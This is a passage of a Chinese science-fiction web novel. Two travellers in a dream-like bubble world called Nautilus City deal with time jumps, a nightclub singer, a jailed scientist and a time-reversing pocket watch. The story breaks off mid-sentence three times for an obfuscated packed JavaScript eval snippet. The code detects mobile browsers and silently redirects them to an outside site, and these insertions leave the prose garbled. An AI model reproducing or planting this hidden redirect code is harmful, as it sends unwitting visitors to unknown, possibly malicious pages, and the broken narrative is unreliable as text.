穿过穿越点的唯一条件是速度,李开心突然拉高车速,车辆腾空而起,远处云朵在车窗之外倾斜着向下走,极速中核动力车迅速靠近楼群后方巨大的银色碟形飞船。 言笑抓紧座椅,“加速要加到多少?” 李开心很镇定,“每个穿越点都不一样。” “这次要去的这个呢?” “时速1597公里。”李开心瞄了眼示数,“现在还没到800。” 言笑羞于表露出惊慌,这会让她显得很没见过世面,可有些话不吐不快,言笑善意提醒,“你再这么开下去要撞到飞船了……卧槽停啊停啊真要——” 撞到飞船了。 无限大的密度与时空曲率在这一刻化为具象,言笑觉得自己像一颗导弹一样飞了起来,车窗、飞船,周遭一切瞬间消失,只旁边还隐约留下一个人影。继而,要命的初始速度急剧下降,不过几秒钟的体感时间,言笑已经呈“大”字型趴落在地。 抬头,眼前是一片城墙。砖块垒得齐整,干净得像每天有人拿着丝绸仔仔细细清洁每一条缝隙,几乎贴近云端的城墙上沿嵌着四个金光闪闪的大字:鹦鹉螺城。城门缓缓打开,五眼六色的斑斓气球争先恐后奔向湛蓝天空,小孩子们笑着闹着疯跑过去。 一切都像积木搭起来的。眼前是个颜色浓郁夸张如童话的喧阗街区。 马车停在咖啡馆门口,穿着马裤与切尔西靴、手执玫瑰木手杖的绅士向马车上的淑女伸出手臂;酒馆门前的藤椅上趴着一只长毛牧羊犬,偶尔伸出爪子扒拉身旁正在抽烟小憩的主人;画家在街头作画,将一桶桶颜料泼在巨大的画布上;卷发诗人抓着一卷羊皮纸,慷慨激昂旁若无人地朗诵诗歌。 “987弯987号,”言笑指指电影院的门牌,“如果每一‘弯’中的户数都差不多,这里大约有……974169户。” “应该没这么多。”李开心让言笑向街道更远处眺望,“街道是弯曲的。” 言笑没太明白,“所以呢?” 李开心说:“‘鹦鹉螺城’大概就是这个意思,整座城呈斐波那契螺旋线形态,越向内走户数越少,形状就像鹦鹉螺一样。” 言笑头脑打结,“所以这里有,有……” 李开心接过话,“2583户。” 两人沿着987弯一路溜达,繁杂街景看得言笑眼花缭乱。路边有许多人跟着舞曲跳舞,穿戴银饰的庆祝族群泼了言笑满身啤酒。言笑抹了把脸,决定问李开心一个正经问题,“咱们的任务到底是什么?” 来之前言笑设想过许多场景,每个都与拯救地球有关,万万没想到英雄梦想折戟得如此迅猛,她一头撞飞进了度假胜地。 “当局想要实验所的某些实验数据。泡泡由研究员的意识生成,所以实验所的实验数据可能会藏在这些泡泡里。” “那我们怎么出去?” “出口一般呈现为与实验所直接相关的意象,比如粒子加速枪,比如器官培养皿——当然,研究员的思想总是千奇百怪,所以有时候这些所谓的‘意象’也会邪门。有个泡泡的离开条件是向自己脑袋砸碎九个啤酒瓶子,因为有个研究员每当没有实验灵感,就会拿啤酒瓶子砸头——最多的一次砸了九个。还有一个泡泡,想出去就必须在老式电视机前把内裤戴头上,”李开心叹气,“这来源于研究员小时候看过的动画片。” 言笑立刻发现李开心这话与之前他所说的矛盾,“你不是告诉我,当局认为泡泡是由‘一’位研究员的意识构成的吗?” “那是当局认为。” 言笑发誓她在李开心波澜不惊的表情里看见了一声几乎写在脸上的冷哼。“如果我们找不到这个所谓的‘出口意象’呢?” “那就出不去。最长的一次,我在一个泡泡里待了十年。” 真要是一待十年,算下来时薪低得离谱。言笑郁闷地捂住胸口,“十年前你多大?联盟雇佣童工?” 李开心不答,在毛衣摊子前停下,“衣服湿了,买件新的吧。” 系着粉红头巾的胖大婶正在织毛衣,粗壮手指灵活地穿针引线,很快织出精细的镂空纹样。戴羽毛胸针的少女蹦跳着欢快跑来,“大婶,我订的毛衣织好了吗?” “快啦快啦,就差最后一点。” 胖大婶慈祥笑着,然后在言笑惊异的目光中,从天际扯下一缕流光溢彩的晚霞,在白毛衣领口勾出一只栩栩如生的花蝴蝶。 最后一针勾好,少女欢天喜地取走毛衣。胖大婶问言笑,“姑娘,买毛衣吗?” 言笑咽咽口水,眼巴巴看着李开心,“你身上有值钱的东西吗?” 他们没有这里的货币。言笑注意到过,当地人都在使用一种铜板。李开心从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926412|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兜里掏出一块金子——准确来说,是一颗小小的金骰子,六面都清晰印着点数。 胖大婶见了金子,喜笑颜开,“这够买一件完全由晚霞织的衣服了!” 理智告诉言笑,这点钱应该省着花,但刚才那件白毛衣上的晚霞蝴蝶太过好看,还闪着光,言笑一时没想明白人是否需要时时刻刻保持理智。 李开心看看言笑的表情,把金骰子递给大婶。 大婶笑呵呵接过,麻利地往天边一伸手,揪下的晚霞比刚才颜色更深一些,橙光里掺杂着略微发暗的红。“我这手艺可是咱城里独一份!姑娘你这衣服买对了,穿出去不知道多招人羡慕。” 李开心压低声音提醒,“离开之前记得换回原本的衣服。泡泡里的东西基本带不出去。” 晚霞织就的薄衫轻如蝉翼,在渐沉夜色中闪烁出些微金属光泽。言笑换好衣服,往街对面一指,“那个是什么?是不是传说中的苹果?” 下城区买不到苹果,言笑只在历史资料中见过影像。 李开心循着她手指的方向看去,“是。” 卖苹果的小贩蹲在摊前,随手拿起一个苹果啃着,又架起画架,蘸着颜料画起画来。 言笑啧啧道:“生活不易,多才多艺。” 画布上渐渐出现一个小绿苹果。画毕,小贩伸手在画布上摩挲,艰难地将那个小绿苹果从画布里拔了出来,画布上只留下一个掉落的果柄。 “给我来一个!”言笑飞跑过去,摘下秦笙送给她的钻石耳钉,“能不能给我画个大点的?就像你摊子上这么大的这种,红的。” 钻石成色相当不错。小贩移不开眼,咬了咬牙,“行吧。” 画苹果并不难,摘苹果却出了问题——这红苹果属实有点过于大了。小贩鼻尖冒汗,踩住画架木脚,拔河似的往下薅,红苹果却始终留有一半嵌在画布之中。 李开心说:“我试试。”走上前去,信手一捞,红苹果立刻沉甸甸地压在手心,小贩甚至没来得及收回听到他这句话时的鄙夷表情。 “行了行了,赶紧走吧。”鄙夷瞬间变为不耐烦,甚至带着愤怒。小贩挥挥手,赶苍蝇似的,“砸场子吗?晦不晦气?” 李开心没理他,把苹果塞进言笑手里,强行带走想要上前理论的言笑。 言笑小声咕哝着骂人,想在新衣服上擦擦苹果,又舍不得,顺手往李开心衣袖上擦了擦。 李开心俯身,从紧贴小腿的绑带中取下一把匕首,递给言笑,“你可以削皮吃。” “太浪费了。”言笑直接咔嚓一口,却还是接过这把古朴精美的纯银匕首,里里外外打量一番,“真好看。” “送你了。”李开心说:“防身。” 话音刚落,苹果与匕首忽然在言笑手中凭空消失。街景没变,周身人来人往却在极其短暂的卡顿过后瞬间更换大半,一切如同电影中微不可查的转场。言笑回头,看见小贩正在画一个红彤彤的大苹果,赫然就是刚才画给她的那个。 言笑愣了,“什么情况?” 李开心环视周围的车水马龙,凝重道:“时间跳跃。” 5. 鹦鹉螺城02 现实问题在这一刻上升为哲学问题。言笑摸摸肚子,“所以刚才那个苹果,我到底吃了还是没吃?” 天色渐晚,李开心提出找个旅馆下榻。言笑还有一颗耳钉,想着怎么也够二人住一宿,于是答应下来,在路边打听哪里有旅馆。 前往旅馆的路上,一辆铺满鲜花的马车穿过街道,额头有块红斑的少女静静躺在鲜花从中,苍白安静如同睡着。周围的人议论纷纷,说黄莺姑娘是被马车撞死的,但葬礼上没有请教会的唱诗班,因为她不信奉教会,而是相信谭先生所宣扬的科学。 言笑心说,时间都能跳跃,被撞死不稀奇。 李开心问路人,“这位谭先生是什么人?” 学生模样的眼镜妹攥着一把瓜子嗑着,“谭述,谭先生,他是信奉科学的人,也一直在城里宣扬科学。” “这位谭先生想法可新奇了!”鹰钩鼻大叔插话,“他说他认为咱们现在所在的世界是虚假的,咱们所经历的一切都是不合理的、无法解释的,有太多事情的发生没有理论依据也没有可靠规律,不符合科学道理。他还提出了一个,什么什么——日心说,说鹦鹉螺城是围着太阳转的。这真是太有意思了,当然是太阳围着鹦鹉螺城转啊!” 织毛衣的胖大婶收了摊,挎着包袱路过,在光滑苹果上啃出一个月牙,道:“今晚谭先生去舞厅,想见谭先生就一起去舞厅呗。谭先生是去看玫瑰小姐的,只要玫瑰小姐演出,他就每天晚上都去!” 月牙瞬间长好,胖大婶又啃一口,道:“今晚谭先生去舞厅,想见谭先生就一起去舞厅呗。谭先生是去看玫瑰小姐的,只要玫瑰小姐演出,他就每天晚上都去!” 言笑凑近李开心,压低声音,“听起来这个谭先生结局不怎么好,科学家里比哥白尼死得惨的可不多。” 旅馆不收耳钉,一晚一个银币。言笑正要出门找个当铺,李开心随手从招贴画里抓出火柴盒,打开,火柴摩擦出蓝莹莹的火焰,李开心为老板点上黄铜烟斗,“拿这个火柴盒换,能住一晚吗?” 五分钟后,两人一起上楼。 红木楼梯带着潮湿味道,闻起来像石板路缝隙里绿茸茸的苔藓。李开心说:“发现了么?在这个世界里,取物是一种天赋。” 时间还早。言笑进房间洗了衣服,又闲不住地溜下楼,问旅馆老板晚上可以去哪里玩。 “玫瑰小姐今晚有演出。”上了年纪的旅馆老板打好领带,喷上香水,在掌心里倒了发油,浓郁的檀香味道弥散开来,“在第8弯。玫瑰小姐发明了蛋糕、彩虹与微笑,是鹦鹉螺城最受欢迎的歌星!” 言笑说:“第8弯?也太远了。”旅馆在987弯100多号,听起来中间隔着千山万水。 身后楼梯响起脚步,由远及近,李开心的声音传来,语调与步伐的节奏微妙重合,“不算远,也就没到2000个门牌。走吧。” 额头有红斑的少女气喘吁吁提着裙子奔进旅馆,趴在柜台上喘粗气,“老板老板,给我备一间房,我要和我姐妹们开派对。好不容易才从家里跑出来,上周我喝多了酒,我妈妈最近一直不让我出门!老规矩——” 旅馆老板梳好了头,将梳子收进抽屉,笑说:“给你打八折,不告诉你爸爸妈妈。放心吧。” 言笑目送黄莺姑娘噔噔噔跑上楼梯,转头问李开心,“你说要去舞厅得走多少门牌号来着?” 没等李开心回答,眼前煤油灯的光亮突然消失,景致变得开阔起来,夜幕化作一层很薄的纱。酒馆二楼爆出烟火,绮丽火花打破黑暗,许多人在音乐轰鸣声中碰杯、抽烟与大笑。言笑看看酒馆门牌,610弯610号。再看隔壁餐厅,987弯1号。 如此说来,第8弯确实不算太远。 往前再走不久,有家颇有些年头的当铺,招牌很旧,老板的黄花梨木桌角也已经被年岁磨得光滑。压低帽檐的青年与言笑擦肩而过,老板正在拿放大镜观赏一颗足有人眼珠子那么大的珍珠。 言笑的耳钉换了三个银币,钱还没捂热乎,就被李开心借走了。当铺门口有个旧货摊子,李开心对一堆乱七八糟的破烂起了兴趣。 “手表算个稀罕物件,收音机也是不可多得的老古董,”言笑扳着手指数落,“可是你告诉我,这个能把鬼找出来的磁针算什么?仨银币你一口气花了俩。我不管,今晚回去必须给我画二斤苹果。” 李开心给言笑打门帘,“到了。”玉石珠子在骨节分明的指间碰撞,声音清脆,浸了酒的冰块似的,带着凉。 舞厅的入口很窄,进门之后别有洞天。极高的深蓝蓬顶中缀着闪烁灯光,一丝一丝的棉絮铺开,像流云,流云背后躲着圆盘似的月亮。天空布景如同舞台剧,不算简陋,但也不及23世纪全息投影那般足以以假乱真,言笑甚至认出那星星是20世纪流行的霓虹灯。 舞台则是与天空布景完全割裂的奢靡华美。弓弦震颤,舞台四周循着节拍爆出绚烂火焰,舞女们扬着天鹅似的脖颈,在一棵高大桂树下扬起雍容裙摆。戴面纱的玫瑰小姐与舞女们一起跳舞,巨大的玻璃三棱锥缓缓转动,水雾之下斑斓的光让整个舞台都像湖中幻影,模糊而泛着涟漪。玫瑰小姐在光澜中扯下一匹彩虹披在肩上,厚重锦缎泛着琉璃似的色泽。 人群爆发出尖叫与掌声。玫瑰小姐向观众飞吻,又将锦缎扔向台下,摇曳生姿,继续还未唱完的歌曲。 “Mengrowcold, “Asgirlsgrowold, “Andweallloseourcharmsintheend, “Butsquare-cutorpear-shaped, “Theserocksdon''tlosetheirshape, “Diamondsareagirl''sbestfriend.” 言笑照着邻桌点了一杯鸡尾酒,蓝色上浅下深,里头塞着薄荷叶子,杯口嵌了一片柠檬。等酒的工夫言笑说:“我最好的朋友也是在舞厅唱歌的,长得可漂亮了——哎你别说,台上这个玫瑰小姐和她就有点像。” 没等李开心回话,言笑又自顾自补充解释,“是身材有点像。我朋友从来不在台上跳舞,也不和观众互动,她说这样有种谄媚感,她不喜欢——不像这位玫瑰小姐,热情得也太夸张了。” 李开心将刚才买的破烂一件一件摆在桌上,拆成零件,没一会儿,言笑眼前就全都是仪表、天线与螺丝。言笑看得索然无味,转而四处张望,“那位谭先生在哪儿?等我找个服务生问问。” 李开心头也没抬,将表盘与指针放在掌心,“八点钟方向,戴手套的那个。” 正装笔挺,纤尘不染的白手套仿佛已经融为那个男人身体的一部分,言笑呆呆看了男人片刻,转头问李开心,“你怎么知道?” “刚才有三个女人请他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926413|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在书上签名。” 言笑啧道:“科学家竟然也追星。” “科学家也是人,当然有七情六欲。”李开心说着,略略收拢手指,表盘和指针在他掌心里重新融合,变作一枚新的仪表。 “在旅馆的时候稍微试验了一下。”李开心解释道:“其实鹦鹉螺城并不是神笔马良,只能将已有的虚幻物品带到现实中。真正能够使物质改变的,是意识。 “在这个世界里,意识可以化为实体。” 台上一曲终结,玫瑰小姐抛洒鲜花,踢掉高跟鞋,摘下面纱后开怀笑着挥手谢幕。观众的掌声与欢呼一浪高过一浪,就连淡然从容的谭先生也露出微笑,轻轻鼓掌,目送玫瑰小姐返回后台换演出服。 言笑舌挢不下。 旖旎眉眼,纤长腰线,玫瑰小姐竟是秦笙! 估摸李开心早把言笑的亲朋好友扒了一遍,不等她问,就说:“她不是你朋友。” 言笑迷茫一秒,很快悟了:泡泡由意识生成,这里大概也融合了她的意识。从之前李开心提及当局的话就能猜出一二,当局必定对泡泡有诸多误解,所以泡泡不仅来自研究员的意识,也能化用她这个外来者的所思所想。 言笑昂起下巴,炫耀道:“我朋友漂亮吧。” 李开心没搭腔。 言笑不满,“说话啊?” “还行。” 言笑气得磨牙,随手抓来花瓶里的向日葵嗑起瓜子。服务生来上酒,惊得眉飞色舞,随即弯腰露出热情洋溢的笑容,八颗亮白牙齿明晃晃的,“这位女士,您看您要不要参加我们舞厅的抓西瓜活动,能把西瓜取下来的话,酒水免单哦。” 言笑往花瓶瞄了一眼,这才发现里头插的都是假花——只有她手里这支向日葵带着植物的柔韧,瓜子壳已经在桌上堆成一小堆。 “西瓜在哪?”言笑挽起衣袖跃跃欲试,把向日葵扔进李开心怀里。 舞厅靠近门口的位置挂着一幅油画,画中堆满西瓜,切开的、完整的,正新鲜的、已衰老的,鲜红汁水横流,如同要从画布中满溢出来。在一块敞开的果肉中,黑色炭笔歪歪扭扭写着vivalavida。 多大点事,这还不手拿把掐。向日葵给了言笑无限蓬勃的自信,言笑直奔最大的西瓜而去,手指抠进画布—— 打了个滑。 言笑记得李开心取苹果的样子,苹果是压手的,仿佛重有千钧,也正因如此小贩才取不下来。但是取西瓜截然不同,言笑甚至没法进入画里。 言笑及时认清自己,扭头找李开心。灯光忽而闪烁,天顶云散,秦笙瞬间从缀满钻石的长裙换装热辣奔放的紧身电光紫,李开心手里的仪表变成一个小型仪器。 “如果这东西管用,应该可以探测中子脉冲。”见言笑过来,李开心如是说。 “探测这个干什么?” “时间不可能无缘无故发生跳跃,看看能不能找到源头。” “你先别想时间为什么跳跃,你去把那西瓜……” “谭述在哪!谭述,出来!宣扬极端思想,扰乱民心,城主今日正式下令逮捕你!”士兵列队,声势浩大,乐声戛然而止,众人皆惊。 李开心平静道:“你那话大概说对了。” 言笑懵然,“我哪话?” “比哥白尼死得惨。”李开心将仪器收进口袋,“宗教影响统治阶级利益,古往今来都不会有好下场。” 6. 鹦鹉螺城03 谭述被士兵带走,客人作鸟兽散。秦笙慌张跑下舞台,试图阻拦,却被士兵以锋利长矛拦住去路。 言笑磕着瓜子,问吃瓜群众,“谭先生和那个玫瑰小姐,是一对吗?” 吃瓜群众一副了然于胸的深沉模样,“暂时不是。但谁不知道这就是有情人之间的小游戏呢?” 李开心拎起言笑的后衣领子,硬把她从八卦里拔了出来,两人悄悄跟上士兵队伍,刚迈出一步,身边就已经是打着卷儿的街区。 越接近鹦鹉螺城的中心,街道就弯曲得越厉害,时间跳跃也发生得越频繁。李开心打开仪器,“越靠近中心频率越高,时间跳跃的源头可能就在城中心。” 言笑比李开心务实得多,“你先告诉我咱俩跟着他们干啥?” 第5弯至第2弯是一片黑压压的肃穆建筑,灌木丛修剪得整整齐齐,没有任何生长肆意的枝桠,是城主的住处。而鹦鹉螺城的中心,就是牢狱。 时间还不算晚。牢狱周围守卫太多,李开心决定先与言笑去外弯吃饱喝足,养精蓄锐,迟些再来夜探。两人出去吃了一圈,言笑长这么大第一次吃到烤得流油的五花肉与鲜香麻辣的炒花蛤,感动得泪流满面,生死一线地炫得小肚溜圆。等再回到第5弯,恰好赶上城主带着仆从前往牢狱。 两人连忙小心跟上,在牢狱外的灌木丛里蹲伏。不久,城主出来,返回住处。李开心道:“咱们想个办法混进去。” 言笑问他,“比如呢?” 话刚出口,两粒石子自李开心手中飞出,击中队伍最后两位仆从的后脑。 街道弯曲,仆从队伍也跟着弯折,前方被挡住视线,竟无一人注意队伍末尾有人遇袭。两人迅速扒了仆从衣服,各自换上。言笑问道:“这俩人能躺多久?” 李开心正在仔细系上腰带扣子,“至少一小时。” 言笑,“够吗?” 李开心系好扣子,俯身在二人后脖颈各劈一手刀。 李开心,“现在够了。” 李开心走在前面,言笑心虚,跟在后头,还悄悄打着腹稿。鹦鹉螺城的牢狱很矮,如同一座房屋的圆锥形尖顶放在地上,囚室挖在地下,进入囚室要走过陡峭蜿蜒的楼梯。 转过转弯,言笑清清嗓子,正要发话,门口狱卒先开了口,“两位大人怎么又回来了?还有什么事?” 眼神飘忽,尾音略微发颤。言笑立刻看出这两人有猫腻,胆子顿时大了,“城主让我们再过来看看。” 三角眼胖子垂死挣扎,“不是说明早吗?” 李开心冷然道:“就现在。” 高瘦竹竿与三角眼胖子面面相觑,未几,忽然在两人面前跪下,鬼哭狼嚎。原来早些时候秦笙来过,请求狱卒放她进去看谭述,银钱收买不通,就摘了裙子上的玫瑰花交换。狱卒想着放人进去也无所谓,又被秦笙美色蛊惑,于是接了金币与玫瑰,放她进入牢狱。 多大点事。言笑虽这么想,却仍假模假样疾言厉色地训斥二人几句,还收走了秦笙贿赂的金币,末了甩袖道:“罢了罢了,这事我们会替你们保守秘密。开门,让我们下去看看。” 牢狱之锁是由城里最好的锁匠造的,三角眼胖子开得很费劲,又委屈自己的横财没了,小声嘟囔,“死都死了,有什么必要看来看去。” 言笑与李开心对上视线,心里一惊。 死了? 厚重铁门打开,遥遥传来秦笙的哭喊,撕心裂肺的声音封闭在曲折走廊里,抓挠得言笑头皮一炸。言笑不想惊动秦笙——尽管这个秦笙只是鹦鹉螺城的虚假泡影——指尖放在嘴唇上“嘘”地一比,蹑手蹑脚走下盘旋楼梯。 一身得体正装、曾经温和从容的男人被绑在十字刑架上,双目紧闭,流出两道蜿蜒鲜血,白手套的掌心也被伤口浸透颜色,鲜红让言笑想起舞厅高脚杯里的石榴汁。言笑“嘶”了一声,“这算个什么死法?” 李开心没回答,两人继续默默看着秦笙。秦笙痛哭片刻,突然又不哭了,从衣服贴身处取出一只黄铜怀表,老旧且有分量,在年岁之中早已被指纹打磨光滑。 言笑虽然被秦笙哭得头皮发麻,可看了这么半天热闹,现在甚至有点想把舞厅的向日葵拿来,继续嗑瓜子。“她在干什么?” 李开心摇摇头。 秦笙最后看了一眼谭述,转动表把,言笑遽然感觉到头顶有一股吸力,仿佛皮搋子正在奋力搋她这个抽水马桶。 世界的调色盘猝然打翻,大红鲜橙明黄浓绿湛蓝噼里啪啦掼在言笑脸上。言笑被打懵了,一瞬间再次如同坐上导弹,疾速上升又疾速下坠,最后啪嗒一声头晕目眩重重落在地上。 撞墙也不带这么撞的。 言笑摔得话都说不出来,在心里吐槽李开心开车没个准头。 抬头,眼前是一片城墙。砖块垒得齐整,干净得像每天有人拿着丝绸仔仔细细清洁每一条缝隙,几乎贴近云端的城墙上沿嵌着四个金光闪闪的大字:鹦鹉螺城。城门缓缓打开,五眼六色的斑斓气球争先恐后奔向湛蓝天空,小孩子们笑着闹着疯跑过去。 言笑挣扎着爬起来,“实在不行下次这车还是我开吧,有你这么撞墙的么?” 李开心蹙起眉,“什么意思?”停顿一下,很快反应过来,“你不记得了?” 言笑莫名奇妙,“记得什么?” “你上一件记得的事情是什么?” “这不废话么。”言笑没好气道:“时速1597公里,差点给我撞散架了。” 李开心缓了缓,随后平静道:“言笑,你忘了一些东西。我们已经来过这里一次了。” “?” “你在这里遇到了和你的朋友秦笙长得一样的舞厅歌手。” “……等等你怎么知道我朋友叫秦笙?” “她的爱人死了,所以她转动怀表,逆转时间,我们就又回到这里。” 言笑张大嘴巴,脑子里像是呼呼灌风,有些什么模糊的东西一闪而过,却抓不牢靠。 李开心继续提示,“在这里可以用意识改变物品,你买了一件晚霞织成的衣服。” 言笑:“……?” 李开心,“你吃了五花肉和炒花蛤。” 模糊记忆终于找到铆点,干脆利落瞬间归位。言笑一拍大腿,“现在是不是谭述还没死?赶紧想办法救人啊!” 两人一起往城里跑了起来。言笑呛着风,边跑边喊,“为什么我刚才什么都不记得了,但你还记得?” 李开心也跟着跑,而且很给面子,并没越过言笑去,“我脑子的构造和你不太一样。” 言笑脚步一顿,疑惑道:“现在骂人记性不好都用这么清新脱俗的词汇了?” 车夫猛地勒紧缰绳,白马发出嘶鸣。马车前方的空地上突然凭空出现一辆运送蔬菜的独轮车,两车相撞,人仰马翻,言笑脚底下飞落一颗绿莹莹的大白菜。 周围路人“哎呀”叫着,七手八脚帮忙捡菜。李开心严肃道:“如果秦笙继续按怀表,城里的时间就会越来越混乱。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926414|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >言笑把白菜送回去,问他,“那怎么办?” 李开心一颗一颗捡起地上的白菜,抱在怀里,一口气抱了四五颗,“等会儿去舞厅,把那个怀表偷了。” 言笑捡了会儿菜,累得腰疼,直起身子叉腰问他,“咱们会不会太管闲事了一点?” 经得众人帮忙,散落蔬菜很快捡好。菜农摇摇晃晃推走独轮车,马夫驭马离去。李开心说:“有些泡泡若是想出去,需要推动NPC剧情。” 再次造访轻车熟路。言笑带李开心混进后台,揪了一件满是长羽的羽披遮在他脸上。李开心个子高,插在羽毛中间像个行走的鸡毛掸子。后台满是白花花的大腿、贴满亮片的长裙、色泽深重的眼影和一串串大颗但廉价的淡水珍珠,舞女们互相化妆,忙忙碌碌挤满狭窄的过道。 秦笙有单独的休息室。言笑与李开心摸过去,正赶上秦笙不在。化妆台上横七竖八堆着化妆品,角落一支没有笔帽的笔,便笺纸的最上一页写着些字,黄铜怀表赫然压在便笺纸上。 真是得来全不费功夫。李开心揣走怀表,与言笑穿过拥挤舞女,正要融入悄无声息喧哗宾客,身后传来一声叫喊,“封锁后台!玫瑰小姐丢了东西!” 周遭议论纷纷,两边出口迅速被人拦截。红梅枝后露出秦笙只完成半边妆容的脸,“怀表是我家的古董,是我爷爷送给我奶奶、我爸爸送给我妈妈的。只封锁后台有什么用,去把舞厅大门拦上!” 身旁有人好言商量,“玫瑰小姐,封锁舞厅恐怕不妥……” “我不管!”秦笙倨傲地昂起下巴,“找不到我就不上台。” 言笑正看着热闹,寻思这可怎么办,手腕忽然被人攥住,李开心拽着她闪身进了换衣间。 换衣间狭小逼仄,左右墙壁都挂着绚烂夸张的演出服,言笑被身后巨大的重瓣假花顶得几乎要贴在李开心身上,还让羽毛逗出一个喷嚏。 李开心拿出怀表,攥在掌心。言笑立刻猜出他的意思,“直接把这东西弄坏不就行了,反正咱们拿走也没用。” 虽然言笑对于鹦鹉螺城中取物能力的强弱并没有太过清晰的概念,但从围观群众的反应来看,李开心好像挺强的,独一档的那种强。黄铜怀表在李开心掌中发出几乎无法令人察觉的微光,李开心抿紧嘴唇,“不用弄坏,把它变成普通的怀表就行。” 远处隔间传来咣咣的踢门声。“出来出来!”“没搜过身不许离开后台!”“要上场的先搜身,快!” 言笑一激灵,催促道:“快点。” 杂七杂八的脚步在换衣间外越靠越近,看来是逃不出去了。言笑急得发慌,心里琢磨这不让人逮个正着么? 轰隆一声破门巨响,言笑立刻紧张攥住李开心的衣袖。穿着尖头皮鞋的脚率先进入领地,言笑抬眼,看见快要被肚皮撑爆的腰带、一圈一圈肥墩墩的脖子、满脸横肉,还有随门而入亮如白昼的灯光。李开心睫毛一颤,怀表莫名从掌心滑脱,而就在这一秒,周围场景飞速变换,像是按了快进的电影,言笑在眼花缭乱后堕入黑暗。 “啪”的轻微响动。李开心按开了灯。 两人仍在试衣间里,周围却静得针落可闻。背后的大花和挠鼻子的羽毛都没了,言笑总算能不与李开心靠太近也站得稳。 言笑惊诧问他,“这是怎么回事?” “好像……”李开心向来冷静的脸上竟闪过一丝波动,“我把那表改得不太对。表里有我的意识,我感觉得出来。 “我们……回到了一个月以前。” 7. 鹦鹉螺城04 言笑头疼地搓搓脸,“你这和没改有什么区别?” 李开心严肃道:“当然有区别。之前那次是时间重置,所以你失去了时间重置前的记忆;而这次是我们两个穿越到一个月以前,所以你什么都记得。” 有区别是有区别,只是言笑还是没看出来这事对于阻止秦笙救谭述来说有任何区别。“所以等晚上谭述死了,秦笙还是可以用怀表回到谭述没死的时候救下谭述。概括一下,就是咱俩白忙活半天。” “你还是没明白。时间重置,相当于事情还没有发生,但现在怀表的功能不是时间重置,而是直接将人扔回从前的时间点。如果秦笙穿越时间,改变了原本应该发生的事情,就会造成时间悖论。” 时间悖论。言笑直觉这是个可怕的结果,却仍对此缺乏概念,愣了几秒,鬼使神差道:“哪那么容易。根据诺维科夫自洽性原则,历史是不可能改写的。” 李开心略蹙起眉,“你从哪听说的?” 言笑没想起来,摆摆手随意道:“忘了。” “时间线强弱不同,改写历史会造成不同后果。如果时间线够强,秦笙和谭述可能会被时间线擦除,也可能他们两个失去这段记忆,时间重置,到头来依然什么都改写不了。又或者,这里的时间线经不起改变,整个鹦鹉螺城就此坍塌。” 言笑这才想起,她始终忽略了一个重要问题,“要是咱们死在泡泡里会怎样?回到现实世界吗?” 李开心干脆道:“死了就是死了。” “……你不早说?所以如果时间线崩塌导致鹦鹉螺城崩塌,这要怎么算?这也算我们‘死了’吗?” “没有人知道。走一步看一步吧。” 出了舞厅,言笑才发现现在是早上。从来到鹦鹉螺城就没有合过眼,言笑哈欠连天,到当铺拿耳钉换钱,与李开心找了一间旅馆住下。言笑问旅馆老板,玫瑰小姐是否最近有演出,旅馆老板摇头说没有,玫瑰小姐最近的演出也要等到下周。 旅馆很小,房间逼仄,靠窗的床与房门之间只隔了两米远,中间还硬挤了一个洗手间。言笑进去洗了把脸,然后直起腰,任由水在脸上和手上流淌两秒,扭头下楼。 “老板!我房间里怎么没有镜子啊!” 五十多岁的长脸老头大惊失色,拼命把手指比在嘴唇跟前嘘着,压低声音,杀人越货似的,“小姑娘,这么不吉利的话可不兴说。” 言笑仔细回想,的确从进入鹦鹉螺城她就没有见过镜子,哪怕在舞厅后台,舞女们也都是在互相化妆。言笑起了好奇,故意套话,“老板,我是外乡人,不懂规矩。您能不能跟我说说,为什么镜子不吉利呀?” 长脸老板悄声道:“按我们鹦鹉螺城的说法,镜子是不祥的:当你看见另一个自己,你会忘记自己。” 李开心听见响动,也下了楼。言笑挥手示意没事,要把他赶回去。李开心仍立在楼梯上,光影隐匿半边五官轮廓,“秦笙回到一年前了,就刚刚。” 言笑懵然一秒,然后决定还是先回房间睡觉,醒来以后发现天黑了就接茬儿睡,做了一宿乱梦。先梦见自己独自一人乘上科研园区里的飞船勇闯太空,又梦到被人一枪爆头。 次日一早,言笑饿得前胸贴后背,顶着鸡窝似的乱发下楼找东西吃。李开心正坐在餐厅的窗边看报纸,招手示意言笑过来。 言笑打着哈欠,“吃什么?” 李开心向桌上示意,“旅馆只有鸡蛋和三明治,我去隔壁买了这个。” 鸡蛋和三明治在现实世界并不稀奇,虽然许多原材料依然由实验室人工合成而来。言笑被桌上这个奇异物体的香味吸引,好奇道:“这是什么?” 